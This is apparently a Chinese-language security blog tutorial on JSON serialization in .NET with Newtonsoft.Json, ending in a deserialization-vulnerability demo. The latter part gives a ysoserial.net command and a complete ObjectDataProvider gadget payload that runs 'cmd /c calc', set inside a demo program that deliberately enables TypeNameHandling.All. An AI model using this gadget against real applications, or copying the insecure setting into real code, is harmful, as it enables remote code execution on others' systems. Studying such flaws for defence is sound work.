.NET下的序列化与反序列化(Json.Net)

前言:

本文章将介绍学习反序列化漏洞过程中的实践与思考。

参考文章:.NET高级代码审计

序列化与反序列化的原理
序列化:

序列化是将对象状态转换为可保持或传输的形式的过程.

反序列化:

序列化的补集是反序列化,后者将流转换为对象。 这两个过程一起保证能够存储和传输数据。

摘自Microsoft 官方文档 :https://docs.microsoft.com/zh-cn/dotnet/standard/serialization/

实现一个序列化:

NET中常见的数据格式以及序列化方法如下:
image.png

图片来自https://www.cnblogs.com/mcgrady/p/5674410.html

下面我将用Newtonsoft.Json实现一次序列化:

先定义一个类:

image.png

code:

public class Test
{
    public String name;
    public int age;
}

类名为Test,里面定义了两个公开变量,name和age

接下来用Newtonsoft.Json 将这对象进行序列化

Newtonsoft.Json是一个开源的net库,需要在项目引入的添加引用。

using Newtonsoft.Json;

引入完毕后,可以调用相关方法了。

这里先实例化对象,并给其中的两个变量进行赋值。 name="远海", age="18"

image.png

将对象实例化后,使用JsonConvert中的SerializeObject对实例化的对象进行序列化。

code:

string json = JsonConvert.SerializeObject(test);

由于返回结果是一个string类型的,所以也需要有一个string类型的变量来接收返回结果

image.png

这里输出序列化后的内容

运行结果:
image.png

完整代码:

using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;


namespace Blog_Demo
{
    class Program
    {
        static void Main(string[] args)
        {
            Test test = new Test();
            test.name = "yuanhai";
            test.age = "18";

            string json = JsonConvert.SerializeObject(test);

            Console.WriteLine(json);
            Console.ReadLine();
        }
    }
}
public class Test
{
    public string name;
    public string age;
}

可以通过上面的运行结果看到,类中的所有数据都被转换成了Json格式,也就是键对值的格式。其中变量名为Key,变量中的内容为Value 进行了转换。

以上就是将对象转换为Json字符串的序列化过程

那么反序列化就是将Json字符串转换为对象

实现一个反序列化:

Newtonsoft.Json 中可以使用DeserializeObject来进行反序化

反序列化是将Json字符串转换为对象,那么可以先声明一串Json格式的字符串

code:

string json = "{\"name\":\"yuanhai\",\"age\":\"18\"}";

由于C#中不能使用单引号代替双引号,所以当需要使用多个双引号的时候可以用转义符来代替

运行结果

image.png

使用DeserializeObject进行反序列化

code:

Object js = JsonConvert.DeserializeObject(json);

运行结果

image.png

就完成了一次将Json字符串转换成对象

完整代码:

using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;


namespace Blog_Demo
{
    class Program
    {
        static void Main(string[] args)
        {
            string json = "{\"name\":\"yuanhai\",\"age\":\"18\"}";

            Object js = JsonConvert.DeserializeObject(json);
            Console.WriteLine(js);
            Console.ReadKey();
        }
    }
}
反序列化漏洞:

看了上面序列化与反序列化的使用,肯定会疑惑"这不看着挺正常的么,这怎么能执行命令?"。

确实,序列化和反序列化本身是没有任何问题的,问题所在是开发者书写中调用了不安全的方法所致。

如使用DeserializeObject反序列化实现命令执行:

反序列过程就是将Json字符串转换为对象,通过创建一个新对象的方式调用JsonConvert.DeserializeObject方法实现的,传入两个参数,第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中TypeNameHandling可选择的成员分为五种
image.png
默认情况下设置为TypeNameHandling.None,表示Json.NET在反序列化期间不读取或写入类型名称。具体代码可参考以下

上文来自: Ivan大佬:NET高级审计

这里需要注意的是TypeNameHandling默认为None,也就是说”序列化类型时,请勿包括.NET类型名称。“,这样我们传入的类名就无法被读取或写入。

那么,只有当TypeNameHandling不为None时,传入的Json字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。

实践:

这里我先用ysoserial.net 生成Payload

ysoserial.net:https://github.com/pwntester/ysoserial.net

cmd: ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

-f 类型 -g 攻击向量 -o 输出格式 -c 命令 -t 是否测试

image.png

得到Payload:

开始编写会触发反序列化漏洞的程序:

using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;


namespace Blog_Demo
{
    class Program
    {
        static void Main(string[] args)
        {
            string json = @"{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";

            Object js = JsonConvert.DeserializeObject(json,new JsonSerializerSettings { 
                TypeNameHandling=TypeNameHandling.All
            });
            Console.WriteLine(js);
            Console.ReadKey();
        }
    }
}

这里我将TypeNameHandling 设置成了ALL(序列化时始终包含.NET类型名称)

运行结果:
image.png

成功的执行命令。

也就是说,默认情况下TypeNameHandling为None是不会造成反序列化漏洞的,只有当开发人员对其重新定义,导致TypeNameHandling不为None的时候。才会触发反序列化漏洞。

TypeNameHandling为None的运行结果

image.png

并没有执行命令,只是将内容转换成了对象。

本文链接:

https://www.websecuritys.cn/index.php/archives/88/
1 + 4 =
1 评论